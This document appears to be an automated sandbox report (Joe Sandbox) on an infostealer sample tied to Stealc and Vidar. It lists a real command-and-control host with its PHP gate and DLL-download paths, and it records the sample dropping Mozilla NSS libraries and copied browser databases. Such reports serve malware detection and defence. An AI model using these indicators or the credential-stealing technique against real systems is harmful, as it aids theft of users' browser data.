http://185.215.113.37/Y-;M	file.exe, 00000000.00000002.2272100008.0000000001387000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpUX3M	file.exe, 00000000.00000002.2272100008.00000000013A1000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpmX	file.exe, 00000000.00000002.2272100008.00000000013A1000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false	0%, Virustotal, Browse	unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2152044765.00000000013EA000.00000004.00000020.00020000.00000000.sdmp, DAAFBAKE.0.dr	false	0%, Virustotal, Browse	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2152044765.00000000013EA000.00000004.00000020.00020000.00000000.sdmp, DAAFBAKE.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.372b&M	file.exe, 00000000.00000002.2272100008.000000000132E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dlla	file.exe, 00000000.00000002.2272100008.0000000001387000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpEY#L	file.exe, 00000000.00000002.2272100008.00000000013A1000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2152044765.00000000013EA000.00000004.00000020.00020000.00000000.sdmp, DAAFBAKE.0.dr	false	URL Reputation: safe	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	file.exe, 00000000.00000002.2294251294.000000002986B000.00000004.00000020.00020000.00000000.sdmp, KJDGDBFBGIDGIEBGHCGI.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	CAFIEBKKJJDAKFHIDBFHJDBFBA.0.dr	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.2152044765.00000000013EA000.00000004.00000020.00020000.00000000.sdmp, DAAFBAKE.0.dr	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	file.exe, 00000000.00000002.2294251294.000000002986B000.00000004.00000020.00020000.00000000.sdmp, KJDGDBFBGIDGIEBGHCGI.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php.dllU	file.exe, 00000000.00000002.2272100008.00000000013C1000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.2294251294.000000002986B000.00000004.00000020.00020000.00000000.sdmp, KJDGDBFBGIDGIEBGHCGI.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	CAFIEBKKJJDAKFHIDBFHJDBFBA.0.dr	false	URL Reputation: safe	unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000002.2294251294.000000002986B000.00000004.00000020.00020000.00000000.sdmp, KJDGDBFBGIDGIEBGHCGI.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php=X	file.exe, 00000000.00000002.2272100008.00000000013A1000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpwser	file.exe, 00000000.00000002.2272100008.00000000013A1000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000002.2294251294.000000002986B000.00000004.00000020.00020000.00000000.sdmp, KJDGDBFBGIDGIEBGHCGI.0.dr	false		unknown
https://support.mozilla.org	CAFIEBKKJJDAKFHIDBFHJDBFBA.0.dr	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.2152044765.00000000013EA000.00000004.00000020.00020000.00000000.sdmp, DAAFBAKE.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpQY7L	file.exe, 00000000.00000002.2272100008.00000000013A1000.00000004.00000020.00020000.00000000.sdmp	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1528627
Start date and time:	2024-10-08 05:26:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 35s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/23@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 85% Number of executed functions: 79 Number of non-executed functions: 114
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	7AeSqNv1rC.exe	Get hash	malicious	MicroClip, Vidar	Browse	185.215.113.117
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	7AeSqNv1rC.exe	Get hash	malicious	MicroClip, Vidar	Browse
	VmRHSCaiyc.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	T2bmenoX1o.exe	Get hash	malicious	LummaC, Vidar	Browse
	XQywAEbb9e.exe	Get hash	malicious	Stealc, Vidar	Browse
	c95eb189cffef0c6b222d31de3c7ed0f9cabad48a38aa.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	lihZ6gUU7V.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	Bn7LPdQA1s.exe	Get hash	malicious	LummaC, Vidar	Browse
	WiTqtf1aiE.exe	Get hash	malicious	LummaC, Vidar	Browse
C:\ProgramData\mozglue.dll	7AeSqNv1rC.exe	Get hash	malicious	MicroClip, Vidar	Browse
	VmRHSCaiyc.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	T2bmenoX1o.exe	Get hash	malicious	LummaC, Vidar	Browse
	XQywAEbb9e.exe	Get hash	malicious	Stealc, Vidar	Browse
	c95eb189cffef0c6b222d31de3c7ed0f9cabad48a38aa.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	lihZ6gUU7V.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	Bn7LPdQA1s.exe	Get hash	malicious	LummaC, Vidar	Browse
	WiTqtf1aiE.exe	Get hash	malicious	LummaC, Vidar	Browse

Created / dropped Files

C:\ProgramData\AAKJKJDGCGDBGDHIJKJECFCFBG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BAAAAKJK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CAFIEBKKJJDAKFHIDBFHJDBFBA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DAAFBAKE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DGCAAFBFBKFIDGDHJDBK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HDAKJDHIEBFIIDGDGDBA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HDAKJDHIEBFIIDGDGDBAEGCGDA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJEGDBGDBFIJKECBAKFBFIDGCF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJDGDBFBGIDGIEBGHCGI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: 7AeSqNv1rC.exe, Detection: malicious, Browse Filename: VmRHSCaiyc.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: T2bmenoX1o.exe, Detection: malicious, Browse Filename: XQywAEbb9e.exe, Detection: malicious, Browse Filename: c95eb189cffef0c6b222d31de3c7ed0f9cabad48a38aa.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: lihZ6gUU7V.exe, Detection: malicious, Browse Filename: Bn7LPdQA1s.exe, Detection: malicious, Browse Filename: WiTqtf1aiE.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: 7AeSqNv1rC.exe, Detection: malicious, Browse Filename: VmRHSCaiyc.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: T2bmenoX1o.exe, Detection: malicious, Browse Filename: XQywAEbb9e.exe, Detection: malicious, Browse Filename: c95eb189cffef0c6b222d31de3c7ed0f9cabad48a38aa.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: lihZ6gUU7V.exe, Detection: malicious, Browse Filename: Bn7LPdQA1s.exe, Detection: malicious, Browse Filename: WiTqtf1aiE.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
